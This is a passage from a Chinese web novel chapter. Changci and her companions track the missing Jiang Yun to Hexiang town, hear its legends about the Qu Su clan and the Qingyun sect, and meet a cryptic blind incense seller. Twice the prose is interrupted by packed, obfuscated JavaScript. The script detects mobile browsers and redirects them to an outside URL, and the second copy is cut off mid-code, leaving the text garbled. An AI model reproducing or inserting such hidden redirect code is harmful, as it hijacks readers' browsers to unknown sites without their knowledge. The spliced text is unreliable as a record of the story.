庄慕怀觉得她脑子有点坏掉了,“没人害你,你是不是还有点不高兴了?” 闻言长辞翻了个白眼,“我不是因为没人害我而不高兴,我是因为明知道有人要害我,但他却没在我认为他要害我的那个时间段里害我,所以才不高兴的,你听明白了吗?” 庄慕怀正要再说些什么,这时张行简顶着两个大黑眼圈走了过来,边打哈欠边跟两人打招呼。 长辞吓了一跳,“你昨晚干嘛去了!” 张行简无精打采地摆摆手,“我担心这里会有什么突发状况,所以一晚上都没睡,没事就好,大家没事就好啊。” “看,张行简都比你警惕。”长辞抬起下巴道。说着手指又一戳庄慕怀,“你怎么回事?连张行简这个书呆子都能看出来这里很反常你看不出来?还说什么人家是为了一睹你的雄姿,不是我说你,你这个警惕性也太低了。” 张行简揉着自己的黑眼圈,好脾气道:“长辞啊,下次说别人坏话不要让人家听到,这是基本的礼貌。” “好的,明白。”长辞乖乖点头,又继续看向庄慕怀,正准备说什么,却见庄慕怀用下巴点了点门外的方向。长辞顺着他的视线看去,远远便见一个熟悉的人影焦急地跑了过来。 她心一提,立刻迎了上去,“江入年,怎么只有你一个人,姜姐姐呢?” 昨日他们担忧县令府有什么猫腻儿,便让江入年和姜云留在了客栈,几人约好今日辰时在此处汇合。可现在江入年却说: “姜妃她、不见了!” 他喘着气道:“一大早我去敲她房门,路过的店伙计说、说那姑娘一个时辰前就离开了。” “什么?!” 果然还是出事了!她就知道。 长辞一脚踢飞假山上的石头,她一直以为目标在她跟庄慕怀身上,就算有人要生事,那肯定也会冲着她跟庄慕怀来,可她怎么都没想到,那人竟然把靶子转向了从未露过面的姜姐姐! 欺负个手无缚鸡之力的弱女子算什么本事!长辞抽出腰间短刀,这就要去找县令算账,岂料刚转了个身,就见那人已经匆匆忙忙从前厅赶了过来。 “误会,误会啊,姑娘切莫动怒。” “什么误会?你最好给我把话说清楚。” “事情是这样的——” 今日一早,他专门差人前往客栈去接那位姜姑娘,有意想在庄慕怀面前拍个马屁,于是让管家同车夫讲,将那姜姑娘先请到府上,待庄公子辞行时再将众人一起送上一程,以表他的心意。 管家耳背,只问送多远合适?县令道:“往南三十里,送到合香镇。” 此路乃是通往归云阁的小道,要比官道近上不少,县令料想庄公子一路奔波人乏马疲,定然也会选这条近道。谁成想好心办坏事,也不知是管家传错了话,还是那车夫太蠢听差了意思,竟然接了姜姑娘直直将她一人送往合香镇去了! 现下怕是已经快到了。 县令说罢偷偷瞧了长辞一眼,直替自己捏把汗。 “我说怎么一晚上都没动静,原来是在这儿等着呢!”长辞冷笑一声,揪住吉川县令的衣襟往后一拖,拔开刀鞘,将刀刃抵在他脖子上。 直接摊开了道:“少跟我在这里打太极,你直说把姜姑娘弄哪里去了?怎么样才能放人?是要我做什么还是要庄慕怀做什么?” 庄慕怀冷冷地注视着祝县令,似乎想从他的神情中看出点什么,奈何这人吓得一直闭着眼,双腿打颤道:“真、真没骗您啊姑娘,这事儿真就是个误会。” 长辞不信,刀刃又向他脖子靠近了半寸。 “我不管你背后有何人操纵,也不管你们打的什么鬼主意,但今日姜姑娘若是伤着一根汗毛,我定会扒了你的皮,放干你的血,再将尸体倒挂在县衙门口风干半月,最后让你儿子生吞进去,听见了没!” 江入年跟长辞混久了,似乎也染上了她半分邪气,在一旁恶狠狠地附和:“听见了没!” “听、听见了。”祝县令肠子都悔青了,早知道就不多管这个闲事了,原本是想拍马屁,谁料一下子就拍马屁股上了!唉,这倒霉劲儿! 于是挤出一个比哭还难看的笑脸,“几位若实在信不过下官,下官愿一同前往,倘若在那镇子上见不到姜姑娘,你们就是要喝我的血我也认了。” 长辞看他还算诚心,放开他没好气道:“上车!” 一路快马加鞭,待众人一个时辰后杀到合香镇时,还真就发现姜云正坐在镇口的门楼下等他们。 祝县令一看姜姑娘果真在此,激动得一把鼻涕一把泪,简直比祖坟冒青烟还要高兴,“太好了,太好了,姜姑娘没丢!没丢!” 姜云没见过这位县令,只以为他是顺路一道来镇子上的老者,闻言不解地看着他,忧心道:“老伯您怎么了?可是身体不适?” 祝县令揩掉脸上泪花,一种劫后余生的感觉油然而生,连连道:“无碍,无碍。” 长辞从后面一辆马车跳下来,远远看见姜云这才放了心。 “姜姐姐,你没事吧?” “没事,你们怎么才来?”姜云颇为疑惑,“不是你留口信说你们要先走一步,然后在合香镇再汇合吗?” “谁给你的口信?” “店里一个伙计。” 长辞与闻声走来的庄慕怀对视了一眼,两人都看出这里面的不对劲了。避开人群,长辞压低了嗓音道:“怎么回事?这葫芦里究竟卖的是什么药?你说实话,这事儿是不是冲着你来的?” “凭什么不能是冲着你来的?”庄慕怀不服气,“你得罪过的人好像比我多多了吧?” “现在是谈论这个的时候吗?” 庄慕怀也不打算继续跟她斗嘴,托着下颌若有所思道:“你觉得……如果不是姜妃先来了此地,我们会走哪条路?” “官道啊。”就江入年那两匹上乘的金翼飞马,走官道快多了,根本用不着抄这坑坑洼洼的小路。 “这不就得了。” 长辞顿了顿,“你是说那个县令整这么一出,就是为了引我们来合香镇?” 可这里不过就是个普通的小镇而已,望到头也就七八百口人,又能翻出什么大浪来?况且那县令表情不似作伪,别真的只是一场误会吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169239|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说到现在也没发现什么异常,可长辞从吉川县开始心里就生出的那股怪异劲儿却始终挥之不去。不止长辞,庄慕怀亦有此感。 两人正用眼神交流着,一旁忽然传来江入年的声音。 “你们快看,这是什么?” 众人走近江入年所指的石壁仔细一瞧,发现这是一副五行阴阳图,中间是交织在一起的伏羲与女娲神像,四周日月与众星将其环绕。 “伏羲女娲图。”张行简稀松平常道:“这没什么,这种画像石在合香镇还挺常见的。” “据我所知,这个镇子若往前追溯千来年,便是东周钟离国曲素一族的居住地。他们自诩是伏羲女娲的后代,所以喜欢在石壁屋脊等地刻画上伏羲女娲图,以示敬意,这种传统一直延续至今。” “曲素?好熟悉的名字呀。”江入年突然眼神一亮,想起来了,袖娘送的那个香盒! 不禁疑惑道:“简哥你之前不是说钟离国曲素一族消失了吗?连吴越国那个叫曲素的地方住的都不再是曲素后人了。” “曲素一族消失是没错,可他们曾经的聚居地又不会凭空消失。” 姜云眼神亮了亮,“你是说这里以前是钟离国的领土?” “正是。钟离国围绕大敖山而建,看似土地辽阔,实际占地并不大,也就如今的芦陵南部一带、还有吴越北部才算它的地盘。” “哇!那这些壁画就是钟离古国的遗址了?”江入年可是深深记得“三万亡魂将士”那件事,因此一听说钟离国,立马就来了兴致。 “遗址谈不上。”张行简用手摸了摸墙上凹凸不平的壁画,缓缓道:“其实如今这个合香镇,跟当初的钟离国曲素一族已经没多大关系了。” 朝代更迭,沧海桑田,能留下千万分之一的影子就已经不错了,江入年听了倒也没失望,而是饶有兴致地缠着张行简问: “对了,这个曲素一族是干什么的?很有名吗?” “传说曲素氏起源于西周,族人崇尚阴阳学说。到了东周时期,各诸侯国争伐不断,这种以五行阴阳为核心的学说就变得更受君主与卿大夫宠爱了,于是曲素氏受到当世人极大的尊崇,钟离国自然也不例外。” “据说曲素人善观星,可预测国运兴衰;善制香,可令人闻之长生;善制晷,能叫人在生死一线间穿梭时空。正因如此,东周几代钟离王无一例外,都会在曲素一族挑选佼佼者让他们做钟离国的国师,并赋予他们观测天象、制定历法之权。” 江入年不由惊呼,“竟然这么厉害!” “钟离国灭国之前,也就是倒数第二位君王在位时,曾命曲素氏在大敖山王陵之外建行宫,筑高台,还选出部分武功高强者创立了一个叫青云宗的门派……对了,近日闹得沸沸扬扬的大敖山宝物一事,就与这青云宗有关。” “青云宗我知道!”江入年正史虽没读过几本,可江湖奇闻却没他不知道的。 他遗憾道:“据说第一任宗主研究出的青云剑法打败天下无敌手,唉,只不过后来青山宗销声匿迹之后,该剑谱的完整版便也失传了,只剩下小半部残本流传了下来。” 前面张行简高谈阔论,长辞一直默默听着没有发表任何看法,直到听见这句“打败天下无敌手”,才没忍住噗嗤一笑。 摇头自语,“什么打败天下无敌手,怎么越传越邪乎了。” 34. 第 34 章 庄慕怀看她一眼,“嘀咕什么呢?” “没什么。” “真没什么吗?”庄慕怀绕着她转了一圈,“大家好歹是盟友,你怎么总是藏着掖着,心不诚啊?” 长辞在他脚上一踩,“大家都在认真听张夫子讲史,就你独独在这里搞内讧,到底是谁心不诚?” 庄慕怀还没来得及说什么,就听江入年先道:“是啊哥,你就别打岔了,你不学别人还要学呢。” “……” “简哥,你继续说。”江入年捧着脸,“为什么要在王陵外修建行宫啊?” “自然是为了求祖先保佑自己长盛不衰呗。”长辞抢先道:“昏庸无能的君王,也就会整这些没用的。” 张行简没想到长辞还知晓这些,接道:“没错,据说曲素氏有魂通天神的本领,钟离王便让他们每日通神祭祀,祈求祖先庇佑钟离国万世长盛。” 江入年咋舌,“看来没什么用啊……最后国还不是灭了。” 张行简闻言一笑,“当然没用了。这观星制香或许为真,但通神长生之类的事,想也知道应是杜撰来的。” “就好比这个合香镇,传言是国灭以后仅留的一小分支族人之后,保存下了先祖的制香技艺,故而以‘合香’二字命名。实际上据考证,这些人其实并非曲素后人,而是前朝一个贩香的商贾为了卖货而编出来的故事而已,而这些熏香也和别处产的没什么区别,只是寻常延年益寿的合香。” “原来如此。”难怪方才简哥说这个合香镇与当初的曲素一族没多大关系。 张行简还想再说些什么,还没开口就被长辞打断,“别说了,没瞧见隔壁香铺掌柜那副要吃人的眼神吗,你还让不让人家做生意了?” 张行简犯轴,“我也没说错啊……” 长辞推他一把,转头笑嘻嘻抬手跟香铺掌柜的打招呼,“开玩笑,哈哈开玩笑的,生意兴隆啊!” 那香铺掌柜冷哼一声扭头走了。 “对了简哥,你知不知道青云宗最后怎么了?”江入年才不在乎张行简的话会不会影响到人家赚钱,反正他有的是钱,大不了赔他们点就是了。 “青云宗?不清楚。”张行简摇头,“钟离国灭国以后,未曾再见哪本史册记录过他们的事情,应当是没再被其他王室重用,隐居了吧。” 说着几人往前走去,走着走着突然被一家卖杂货的铺子给吸引住了。 这里既卖些孩童玩的拨浪鼓、舞鱼灯、面具之类的小玩意,也卖各式各样的熏香,东西琳琅满目,挂的满墙满屋子都是,遮得屋子暗黑暗黑的,都透不进来什么光。 姜云率先走进了铺子,低着头好像在找什么香料。 江入年不死心,就着张行简方才的话继续问,“你说他们隐居了?那就是说,青云剑谱也有可能是完整地保存下来了对吧?没准就藏在哪个大山深处呢。” “想什么呢。”长辞随手拿起个面具往他脑门一敲,“死心吧,这世上不可能再有青云剑法了。” “为什么?” “张行简方才说的不对,史书后来之所以没有记录青云宗的只言片语,是因为——” 长辞顿了顿道:“他们全都死在了钟离国灭国那日。” “怎么死的?” “敌军屠山。” 江入年不信,“你怎么知道?又想骗我吧……” 依长辞平日的惯有作风来看,这话确实没什么可信度。毕竟江入年跟长辞的对话中,十次有九次都在被骗。 “哦!我知道了,你肯定想说青云宗的人全死了所以剑法也失传了,但你凭借着聪慧的天资又将这套剑法给研究出来了,想框我来买买买买买——” 江入年正嘀咕着,猛一转身,突然面前出现了一个倒挂着的獠牙面具脸,吓得他失声大叫:“啊啊啊!鬼啊!” 那面具脸道:“没骗你,他们真的死了。” “你、你怎么知道的?” “因为我就是青云宗门人啊。” “你你你……”江入年脸都吓白了,躲在庄慕怀身后探出半个脑袋,“你不会真的是鬼吧!” “是呀。”面具脸又飘飘悠悠到他面前,拖长了声音鬼森森道:“要不要我教你青云剑法啊……” “啊啊啊!”江入年后背发凉,连滚带爬跑出了铺子。 庄慕怀简直头疼,往那面具头顶轻轻一敲,“行了,别闹了。”说着摘掉长辞脸上的面具,十分自然地伸手接她,“倒挂在房梁上不难受吗?” 长辞翻了个身,手搭在庄慕怀掌心平稳地落在地上,笑嘻嘻道:“好玩。” 这时,江入年在太阳底下缓够了劲儿,又重新进来铺子,正好瞧见姜云正拿着一盒熏香与店主交谈。 这店主是一个佝偻着腰的瞎眼老妪,江入年也不知道她平日是如何辨认货物的,只见她将香拿在手里闻了闻,脸色倏变,一把抓住姜云的手。 “这香你是哪里来的?!” 突如其来的质问吓得姜云浑身一僵,半个字也吐不出来。众人都觉得这老妪的反应有些奇怪,可也说不上来什么,长辞拿掉她扣在姜云腕上那只干柴的手,笑眯眯道: “哎呦老夫人别急,这是一个叫袖娘的姑娘送的。” 老妪听到这道声音猛地抬头,仿佛认得这声音的主人似的,无光的双眼死死盯着前方,虽然什么都看不见,却能精准地对上长辞的方向,她直勾勾地盯着长辞,好似要把她看穿。 江入年被这凝寂如死灰搬的表情吓得往门口退了一步,再回头时,那人已然换上了一副平淡的面孔,颤颤巍巍地坐在门口的小板凳上。 江入年揉了揉眼睛,还以为自己看错了,又默不作声凑了上来,听那老妪道: “这香极为珍贵,别人怎么会送你?” “自然是因为我救过她一命喽。”长辞不以为意,东看看西瞧瞧,还拿起一串银铃铛放在庄慕怀耳边摇了摇,聒得他连连皱眉。 老妪默了默,又低头去碾桌前的香料。 这时,姜云轻声道:“老夫人,我方才给您看的那种香……这里可否有卖的?” 老妪摇头,“你这是五行香,制香方法早就已经失传了,镇上没有,整个世间都没有。” 已经失传了吗?姜云脸上有些失落,原本还想着用它辅助用药,没准会对伤患的疼痛感有所减轻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186670|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 几人见那老妪不再搭理他们,且也没什么可逛的,就陆续出了铺子,长辞走在最后面,经过那老妪身旁时,她沙哑的嗓音突然响起。 “姑娘。” 长辞脚步一顿。听她诡异道: “你本不该来这里,可既然已经来了,就不该再回去。” 长辞心惊,“你认得我?!” “不认得。”那双深陷的眼窝没有半分起伏,边碾着香料边道:“老婆子我眼睛不好使了,鼻子却灵得很,我能闻出来你身上的气味不属于这里。” 长辞往外一瞧,还好他们几个都出去了,不然这事儿可就解释不清了。尤其江入年,估计又要叽叽歪歪地叫嚷一阵。 “你是谁?你怎么知道我要回去,又凭什么说我不该回去?” “我乃……青云宗后人。” 长辞在心里暗笑两声,当年青山宗门人全都死光了,怎么可能会有后人?她心下了然,这老妪肯定是方才偷听到了他们谈话,这才想着框她一把,得,原来是个神婆骗子啊! 那她骗错人了,要是骗江入年的话倒是能赚不少钱。长辞也没当回事,边往出走边笑嘻嘻道,“你说我不该回去,那我就不回去喽。” 出了铺子,长辞眯着眼四下打量一番,还是没有瞧出什么异样,于是给庄慕怀使了个眼色:“此地不宜久留,要不还是赶紧离开吧?” 庄慕怀正要应下,却听一旁江入年嚷道:“我都饿死啦,这儿哪里有酒楼呢?普通的食肆也行啊。” 一大早起来就开始找姜妃,连朝食都没用上。 看日头也到了午时,其余几人也都有些饿了,便跟着江入年进了一家店面不大但看着还算干净的馆子。江入年也知道这小镇上找不到他要的那种排场,也就没多作计较。 这家食肆拢共也就夫妻两人经营,平日食客不多还好,今日突然一下子涌进五六个人,且还都点的是些繁琐的荤菜,一时人手不够,竟连一个四五岁的小女娃都跑来当帮厨了。 那小姑娘脸上肉嘟嘟的,拎着个小篮子晃晃悠悠走来,取出里面的茶盏,学着大人的样子道:“各位请用茶。” 她说话声音软软糯糯,一笑脸颊两侧还陷出浅浅的梨涡,看得姜云心都要化了,连忙起身接过她手中茶盏,蹲下来谢她,“小妹妹真能干,都能帮爹娘照看生意啦!” 小姑娘一听有人夸她,脸颊红扑扑的,又羞又喜,樱桃小嘴翘得老高老高,迈着小短腿“腾腾腾”又拎过来一篮子洗干净的茶盏,看着姜云道: “给你。” 此举惹得几人忍俊不禁,连张行简和江入年都跑来逗她。小姑娘一高兴,又咣咣咣地往来提篮子,不一会儿就提了满满四篮。 那妇人上菜时一瞧,顿时哭笑不得,边赶忙收拾边给几位赔罪,“实在对不住,近日店里的伙计告假了,这平日食客不多还好,人一多就显得手忙脚乱的,您瞧,这孩子也是个不省事的,招待不周还请各位多多担待啊。” 江入年忙道:“不打紧,不打紧,您忙去吧。”说罢还纡尊降贵地拈起帕子擦起了食桌。 长辞叼根筷子调侃他,“呦,少爷十五年来第一次干活吧?”